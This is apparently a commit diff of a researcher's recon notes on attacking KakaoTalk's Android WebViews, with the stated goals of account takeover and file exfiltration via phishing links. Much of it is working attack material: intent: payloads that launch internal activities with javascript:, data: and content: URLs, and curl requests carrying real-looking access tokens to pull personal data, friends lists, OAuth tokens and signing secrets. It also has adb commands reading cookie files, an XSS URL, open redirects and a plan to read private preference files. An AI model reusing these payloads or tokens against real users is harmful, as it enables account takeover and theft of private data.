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Finish WEBVIEW.md
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# WebView Recon
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- [Goals](#goals)
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- [Attack Vectors](#attack-vectors)
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- [Findings](#findings)
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- [Low Severity Findings](#low-severity-findings)
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- [To-Dos / Digging](#to-dos--digging)
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- [Tokens / Cookies](#tokens--cookies)
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- [Javascript Interfaces](#javascriptinterface)
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- [JavaScript Interfaces](#javascriptinterface)
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- [Redirect Endpoints](#redirect-endpoints)
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- [XSS Endpoints](#possible-xss-endpoints)
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- [CSRF](#csrf)
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- [File Access / Content Providers](#file-access--content-providers)
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- [DownloadListener](#downloadlistenerondownloadstart)
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- [Deeplinks](#deeplinks)
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- [Kakao Pay](#kakao-pay)
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- [Misc](#misc)
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- [Resources](#resources)
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- [Appendix](#appendix)
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- [Attack Vectors](#attack-vector-brainstorming)
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- [Payloads](#payloads)
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- [KGPopupActivity](#kgpopupactivity)
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- [Resources](#resources)
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## Goals
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> Disclaimer: Initial recon was performed on an older version of KakaoTalk (`10.1.7`).
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- Account takeover via phishing link
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- File exfiltration from KakaoTalk's application sandbox via phishing link
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> There are a lot of **TO-DO's** in this document where one can try to dig deeper.
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## Attack Vectors
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## Low Severity Findings
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- File load from insecure file locations
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- Load data into WebViews via `intent:` scheme
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- HTTP(S) MITM
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- Create a malicious `Plus Friend` or `Kakao Business` page or an `Open Chat Room`
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- Deep link parsing
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- Deep link —> open insecure WebView —> MITM —> run arbitrary JS code
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- Use the `intent:` scheme to start arbitrary components
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- Open attacker controlled website -> JS
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- Try different URL schemes (e.g., `javascript:`, `intent:`, `file://`, `content://`, `data://`, etc.)
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- Phishing (e.g., steal credentials by showing a legitimate KakaoTalk page)
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- https://accounts.kakao.com/
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## Findings
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- Account takeover (only via MITM in the same network)
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- Send malicious link
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- Steal token
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- `update_settings.json` -> change e-mail
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- Reset password
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- Install KakaoTalk for Windows
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- Login in with credentials
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- Brute-force 4-digit pin
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- Token leakage in HTTP request headers:
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- Access token leakage in non-exported `MyProfileSettingsActivity` via HTTP request header:
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- `location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=http://10.0.2.2:8888/;end"`
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With this access token a couple of interesting REST APIs can be queried:
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```bash
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# Get phone number, e-mail address and other PII
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curl -i -s -k -X $'GET' \
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-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'Authorization: d587a91fdf4c4e008145ffcd2282485000000016872655885310012q2jUmqPL3w-295c990ec4b3470b9df03827b4a9e38b5caf17cfc010bb18abab9aee622ec5f8' -H $'C: 5eb095d6-11de-4eb6-9076-4f3f3941ec58' -H $'Connection: close' \
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$'https://katalk.kakao.com/android/account/more_settings.json?os_version=30&model=SDK_GPHONE_ARM64&since=1678238174&lang=en&vc=2410170&email=2&adid=&adid_status=-1'
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-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.3.8 An/11 en' -H $'Authorization: 732900c017ec4704b10f9241a3a533e800000017002173708450010fW9JnsTbx7-1f832a7f5963fd31e14e6290394909ef930ce720b31bfd546271c6b5f3cefb54' -H $'A: android/9.5.0/en' -H $'C: a327a1ad-b417-499a-abf7-48da89076e7c' -H $'Accept-Encoding: json, deflate, br' -H $'Connection: close' \
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$'https://katalk.kakao.com/android/account/more_settings.json?os_version=30&model=SDK_GPHONE_ARM64&since=1693786891&lang=en&vc=2610380&email=2&adid=&adid_status=-1'
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# Get friends
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curl -i -s -k -X $'POST' \
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-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.1.7 An/11 en' -H $'Authorization: dc5cba9030874e758df0dbfa3ff0d27900000016873539108050012g3ESfF4vpW-5d977e2cb705405fdab021b372e3c19ca3fa84a4d159087a89507719141dbeef' -H $'A: android/10.1.7/en' -H $'Adid: a42e75cd-19e5-43a5-a23b-d2390c100942' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 134' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
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--data-binary $'removed_contacts=%5B%5D&add_friends_to_limit=false&phone_number_type=1&reset_contacts=true&type=a&manual=false&contacts=%5B%5D&token=0' \
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$'https://katalk.kakao.com/android/friends/update.json'
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# Get more settings (including a Google API key and URL signing secret)
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curl -i -s -k -X $'GET' \
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-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/9.5.0 An/11 en' -H $'Authorization: 732900c017ec4704b10f9241a3a533e800000017002173708450010fW9JnsTbx7-1f832a7f5963fd31e14e6290394909ef930ce720b31bfd546271c6b5f3cefb54' -H $'A: android/9.5.0/en' -H $'C: b2f4724a-7bac-4076-8864-021b5c9205ea' -H $'Accept-Encoding: json, deflate, br' -H $'Connection: close' \
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$'https://katalk.kakao.com/android/account/less_settings.json'
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# Update settings
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curl -i -s -k -X $'POST' \
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-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.1.7 An/11 en' -H $'Authorization: dc5cba9030874e758df0dbfa3ff0d27900000016873539108050012g3ESfF4vpW-5d977e2cb705405fdab021b372e3c19ca3fa84a4d159087a89507719141dbeef' -H $'A: android/10.1.7/en' -H $'C: 7db8c5a8-978c-4009-8ae0-87c1caf91562' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
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--data-binary $'usim_same_numbers=%5B%22false%22%5D' \
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-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/9.5.0 An/11 en' -H $'Authorization: 106dc72ab6be4f11b321ac2f09fd0f53000000170014088214200107mOCAvLuEq-472ab54a821a25a17cfc511fe8f5ea4086837931d20e0de8688ef9c3a1ad7789' -H $'A: android/9.5.0/en' -H $'Adid: 0b1d9d5d-813f-4952-a3bc-b04628f04344' -H $'C: 9b5c6b99-67c2-4b7c-8047-7f3c2fbfa899' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: close' \
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--data-binary $'phone_type=1&sim_operator=310260&sim_eq=1&os_version=30&os_name=android&model=SDK_GPHONE_ARM64&screen_resolution=320x592' \
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$'https://katalk.kakao.com/android/account/update_settings.json'
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# Get OAuth token
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# Kakaotalk "My Password"
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curl -i -s -k -X $'GET' \
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-H $'Host: kauth.kakao.com' -H $'Authorization: dc5cba9030874e758df0dbfa3ff0d27900000016873539108050012g3ESfF4vpW-5d977e2cb705405fdab021b372e3c19ca3fa84a4d159087a89507719141dbeef' -H $'User-Agent: KT/10.1.7 An/11 en;KAKAOTALK' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
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-H $'Host: talk-pilsner.kakao.com' -H $'Authorization: 106dc72ab6be4f11b321ac2f09fd0f53000000170014088214200107mOCAvLuEq-472ab54a821a25a17cfc511fe8f5ea4086837931d20e0de8688ef9c3a1ad7789' -H $'Talk-Agent: android/9.5.0' -H $'Talk-Language: en' -H $'Accept-Encoding: gzip, deflate, br' -H $'User-Agent: okhttp/4.7.2' \
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$'https://talk-pilsner.kakao.com/me/pin/v1/salt'
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# Get Access Token for "My Kakao"
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curl -i -s -k -X $'POST' \
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-H $'Host: api-account.kakao.com' -H $'Authorization: 106dc72ab6be4f11b321ac2f09fd0f53000000170014088214200107mOCAvLuEq-472ab54a821a25a17cfc511fe8f5ea4086837931d20e0de8688ef9c3a1ad7789' -H $'A: android/9.5.0/en' -H $'C: 78eccae7-479f-41fe-88ca-fafd2fd07321' -H $'User-Agent: KT/9.5.0 An/11 en' -H $'Accept-Language: en' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 174' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: close' \
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--data-binary $'key_type=talk_session_info&key=106dc72ab6be4f11b321ac2f09fd0f53000000170014088214200107mOCAvLuEq-472ab54a821a25a17cfc511fe8f5ea4086837931d20e0de8688ef9c3a1ad7789&referer=talk' \
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$'https://api-account.kakao.com/v1/auth/tgt'
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# Upload/Change KakaoPay Face Public Key
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curl -i -s -k -X $'POST' \
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-H $'Host: talk-pilsner.kakao.com' -H $'Authorization: 732900c017ec4704b10f9241a3a533e800000017002173708450010fW9JnsTbx7-1f832a7f5963fd31e14e6290394909ef930ce720b31bfd546271c6b5f3cefb54' -H $'Talk-Agent: android/10.3.8' -H $'Talk-Language: en' -H $'Content-Type: application/json; charset=utf-8' -H $'Content-Length: 469' -H $'Accept-Encoding: gzip, deflate, br' -H $'User-Agent: okhttp/4.10.0' \
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--data-binary $'{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvYuFDu7O05GXateNBSc5VvtboF6NzwJMaxE2/oyk3PXG2/B2UZXkcGM2kP3NfR8MYeuoiVW+zGDrZ6X8IUDgM7nIfzbHuBVo53pZCVadL89kAVbZbsafqFvgsrBUzxxhTfjYY0z/XKKRwN2YCITclyYMYnXRDiyGnYZMYvVSDMzsK1GQKp/B8xxtmArPT3gGkh2oMBR1K752M8vZAwH1sDc10nHunuOsN32cX1iD0oVKwvVBndpgleQoslIDcZCcE6X1LNE3ZvVzrP7dpoJm+hxMKh/x34byJS4NLSWKRc6aKwvRaUi0DjAAQm8YucaAg+UQDDheTOH8h6Ex2cmgKQIDAQAB\",\"keyPairHash\":\"iB91GyJSAF2dxWD7YJ72Lw2SQ7i3uWF7EB2rBCGaeQk=\"}' \
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$'https://talk-pilsner.kakao.com/alcatraz/chats/exchangeKeys'
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# Get profile details
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curl -i -s -k -X $'GET' \
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-H $'Host: katalk.kakao.com' -H $'Authorization: 106dc72ab6be4f11b321ac2f09fd0f53000000170014088214200107mOCAvLuEq-472ab54a821a25a17cfc511fe8f5ea4086837931d20e0de8688ef9c3a1ad7789' -H $'A: android/9.5.0/en' -H $'C: a357be7d-3b11-4033-92d5-471ea225f096' -H $'User-Agent: KT/9.5.0 An/11 en' -H $'Accept-Language: en' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: close' \
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$'https://katalk.kakao.com/android/profile3/me.json'
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# Get Cookie
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curl -i -s -k -X $'GET' \
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-H $'Host: talk-pilsner.kakao.com' -H $'Authorization: 106dc72ab6be4f11b321ac2f09fd0f53000000170014088214200107mOCAvLuEq-472ab54a821a25a17cfc511fe8f5ea4086837931d20e0de8688ef9c3a1ad7789' -H $'Talk-Agent: android/9.5.0' -H $'Talk-Language: en' -H $'Accept-Encoding: json, deflate, br' -H $'User-Agent: okhttp/4.7.2' \
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$'https://talk-pilsner.kakao.com/drawer/user/info'
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# Get friends
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curl -i -s -k -X $'POST' \
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-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.1.7 An/11 en' -H $'Authorization: 595c420c563848109b87a2677285cbaf00000016998108925870010obQDJlP7u9-308521c7f910140c1af15a83f7ef2282864e0e4f3c1ee88e97e3964f07cdc0e2' -H $'A: android/10.1.7/en' -H $'Adid: a42e75cd-19e5-43a5-a23b-d2390c100942' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 134' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
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--data-binary $'removed_contacts=%5B%5D&add_friends_to_limit=false&phone_number_type=1&reset_contacts=true&type=a&manual=false&contacts=%5B%5D&token=0' \
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$'https://katalk.kakao.com/android/friends/update.json'
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# Get/set OAuth token
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curl -i -s -k -X $'GET' \
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-H $'Host: kauth.kakao.com' -H $'Authorization: 595c420c563848109b87a2677285cbaf00000016998108925870010obQDJlP7u9-308521c7f910140c1af15a83f7ef2282864e0e4f3c1ee88e97e3964f07cdc0e2' -H $'User-Agent: KT/10.1.7 An/11 en;KAKAOTALK' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
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$'https://kauth.kakao.com/oauth/authorize?client_id=24b2ff717557a8090279253242652f80&redirect_uri=kakao24b2ff717557a8090279253242652f80%3A%2F%2Foauth&response_type=code'
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curl -i -s -k -X $'POST' \
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- `location.href = "intent:#Intent;component=com.kakao.talk/com.kakao.talk.commerce.ui.shopper.CommerceShopperWebViewActivity;S.URL=https://foo.com;end"`
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- `InAppBrowserActivity` -> `kakaointernalweb://host/q?url=https://www.foo.com&spamType=0&isPlusType=true`
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- `BizInAppBrowserActivity`-> `kakaotalk://bizwebview/open?url=http://www.foo.com`
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- I can execute Javascript by:
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- I can execute JavaScript by:
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- Pointing to attacker-controlled URLs
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- Using the `data:` scheme, e.g.: `location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=data%3Atext%2Fhtml%2C%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E;end"`
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- Using the `javascript:` scheme, e.g.: `location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=javascript:alert%28%221%22%29;end"`
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- `location.href = "intent:#Intent;component=com.kakao.talk/.activity.kakaomail.KaKaoMailDocumentViewWebActivity;S.url=content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json;S.subContent=foo;end"`
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- Reading a cookie: `adb shell content read --uri "content://com.kakao.talk.FileProvider/external_files/emulated/0/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627"`
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- Using the `android-app:` scheme: `adb shell am start "android-app://#Intent\;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity\;S.EXTRA_URL=content://com.kakao.talk.FileProvider/external_files/emulated/0/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627\;end"`
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- There are a couple of Javascript interfaces that access the user's location (see below)
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- There are a couple of JavaScript interfaces that access the user's location (see [below](#javascriptinterface))
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- Auto-download to `/sdcard/Download` via Chrome (`app://kakaotalk/openURL?url=`)
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- I can access other `BROWSABLE` Activities or Apps via the `android-app:` scheme, e.g.:
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- `location.href = "android-app://com.google.android.googlequicksearchbox/https/www.google.com"`
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- `setWebContentsDebuggingEnabled` is enabled for most WebViews
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- XSS in `com.kakao.talk.activity.cscenter.CsCenterActivity` (search field)
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- https://cs.kakao.com/search?query=%3Cscript%3Ealert%281%29%3C%2Fscript%3E (you need to click into the search field)
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- https://cs.kakao.com/search?query=%3Cscript%3Ealert%281%29%3C%2Fscript%3E (you need to click into the search field to trigger the alert)
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## To-Dos / Digging
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@ -188,6 +201,21 @@ curl -i -s -k -X $'POST' \
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- `KakaoTvPayJavascriptInterface` -> `kakaotv` interface -> used in `KakaoTvPayActivity`
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- `purchaseItem(String str)`
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### Redirect endpoints
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- https://buy.kakao.com/auth/0/cleanFrontRedirect?returnUrl=https://www.kakao.com
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- https://accounts.kakao.com/logout?continue=https://www.kakao.com
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### Possible XSS endpoints
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Maybe someone finds a XSS here:
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- https://ccs.kakao.com/search?service=66&service=67&query=foo&locale=kr
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- https://cs.kakao.com/search?query=foo
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- https://cs.kakao.com/talk_helps_search?query=foo&serviceId=8
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- https://devtalk.kakao.com/search?q=foo
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- https://m.shoppinghow.kakao.com/m/search/q/foo
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### CSRF
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- Test/check `kakaotalk://settings`
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@ -210,9 +238,9 @@ curl -i -s -k -X $'POST' \
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- Create a JS file in `Download` folder (called `foo.html`)
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- `foo.html` reads `file:////data/user/0/com.kakao.talk/shared_prefs/talk_pass_preferences.xml`
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- Access `foo.html` file via `content:` scheme in some Webview that supports `setAllowFileAccessFromFileURLs`
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- `XMLHttpRequest` still won't work -> not a `file://` URL?
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- `XMLHttpRequest` still won't work -> because it's not a `file://` URL?
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- Need to be able to create/download files in/to `Download` folder
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- Cannot steal files from unprotected Content Providers that cannot be rendered in a Webview (e.g., `LocalUser_DataStore.pref.preferences_pb` in `files` folder). Text files work fine: `content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json`.
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- Cannot steal files that cannot be rendered in a Webview (e.g., `LocalUser_DataStore.pref.preferences_pb` in `files` folder). Text files work fine: `content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json`.
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- `CommerceShopperWebViewActivity` doesn't auto-download but also doesn't render binary files
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### DownloadListener.onDownloadStart
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@ -246,7 +274,7 @@ curl -i -s -k -X $'POST' \
|
|||
|
||||
### Kakao Pay
|
||||
|
||||
- Set up Kakaopay —> Get Korean phone number / SIM card
|
||||
- Setup Kakaopay —> Get Korean phone number / SIM card
|
||||
- `kakaotalk://kakaopay/billgates?url=`
|
||||
- `kakaotalk://kakaopay/web?url=`
|
||||
- `kakaotalk://kakaopay/payweb?url=`
|
||||
|
|
@ -255,20 +283,26 @@ curl -i -s -k -X $'POST' \
|
|||
### Misc
|
||||
|
||||
- Try to send intents to `com.kakao.talk.service.MessengerService` (via `kakaotalk://buy` Webview)
|
||||
- Clicking on https://auth.kakao.com in the KakaoTalk UI leads to `KakaoAccountSettingsActivity`
|
||||
- Clicking on https://auth.kakao.com in the KakaoTalk chat leads to `KakaoAccountSettingsActivity`
|
||||
- Switch to a different Activity via `continue` parameter -> `https://auth.kakao.com/kakao_accounts?continue=kakaotalk://main`
|
||||
- When opening `content:` URIs I end up in the `null` origin -> `XMLHttpRequest` to `http` scheme works here
|
||||
|
||||
## Resources
|
||||
|
||||
- [CORS and WebView API](https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/docs/cors-and-webview-api.md)
|
||||
- [Intent Scheme](https://www.mbsd.jp/Whitepaper/IntentScheme.pdf)
|
||||
- [Defcon WebView Training](https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20workshops/DEF%20CON%2026%20-%20Workshop-David-Turco-and-Jon-Overgaard-Christiansen-Wheres-My-Browser-Learn-Hacking-iOS-and-Android-WebViews.pdf)
|
||||
- [Android security checklist: WebView](https://blog.oversecured.com/Android-security-checklist-webview/)
|
||||
- [Reviewing Android Webviews fileAccess attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
|
||||
## Appendix
|
||||
|
||||
### Attack Vector Brainstorming
|
||||
|
||||
- File load from insecure file locations
|
||||
- Load data into WebViews via `intent:` scheme
|
||||
- HTTP(S) MITM
|
||||
- Create a `Plus Friend` or `Kakao Business` page or an `Open Chat Room` to deliver malicious JS
|
||||
- Deep link parsing
|
||||
- Deep link —> open insecure WebView —> MITM —> run arbitrary JS code
|
||||
- Use the `intent:` scheme to start arbitrary components
|
||||
- Open attacker controlled website -> JS
|
||||
- Try different URL schemes (e.g., `javascript:`, `intent:`, `file://`, `content://`, `data://`, etc.)
|
||||
- Phishing (e.g., steal credentials by showing a legitimate KakaoTalk page)
|
||||
- https://accounts.kakao.com/
|
||||
|
||||
### Payloads
|
||||
|
||||
Test payloads:
|
||||
|
|
@ -318,7 +352,7 @@ One-liner:
|
|||
- There are `KG`, `Kakao` and `kakaoweb` JS APIs
|
||||
- JavaScript-Native Bridge
|
||||
- `Gametab.api("talk/toolbar/show", '', '');` —> defined in class `KGWebViewCommands`
|
||||
- Key for Kakaotalk Javascript SDK: `8fa1ffbc074c716c201ce0074d5f798e`
|
||||
- Key for Kakaotalk JavaScript SDK: `8fa1ffbc074c716c201ce0074d5f798e`
|
||||
|
||||
Send intents in JS:
|
||||
|
||||
|
|
@ -347,4 +381,12 @@ adb shell am start "intent:#Intent\;component=com.kakao.talk/.commerce.ui.gift.C
|
|||
- `package` opens the Playstore
|
||||
- `data` part is parsed for `http` and `https` schemes
|
||||
- malformed `intent://` URL -> `"about:blank"` WebView
|
||||
- `component=null` -> Google Settings Backup Activity
|
||||
- `component=null` -> Google Settings Backup Activity
|
||||
|
||||
## Resources
|
||||
|
||||
- [CORS and WebView API](https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/docs/cors-and-webview-api.md)
|
||||
- [Intent Scheme](https://www.mbsd.jp/Whitepaper/IntentScheme.pdf)
|
||||
- [Defcon WebView Training](https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20workshops/DEF%20CON%2026%20-%20Workshop-David-Turco-and-Jon-Overgaard-Christiansen-Wheres-My-Browser-Learn-Hacking-iOS-and-Android-WebViews.pdf)
|
||||
- [Android security checklist: WebView](https://blog.oversecured.com/Android-security-checklist-webview/)
|
||||
- [Reviewing Android Webviews fileAccess attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
Loading…
Reference in New Issue
Block a user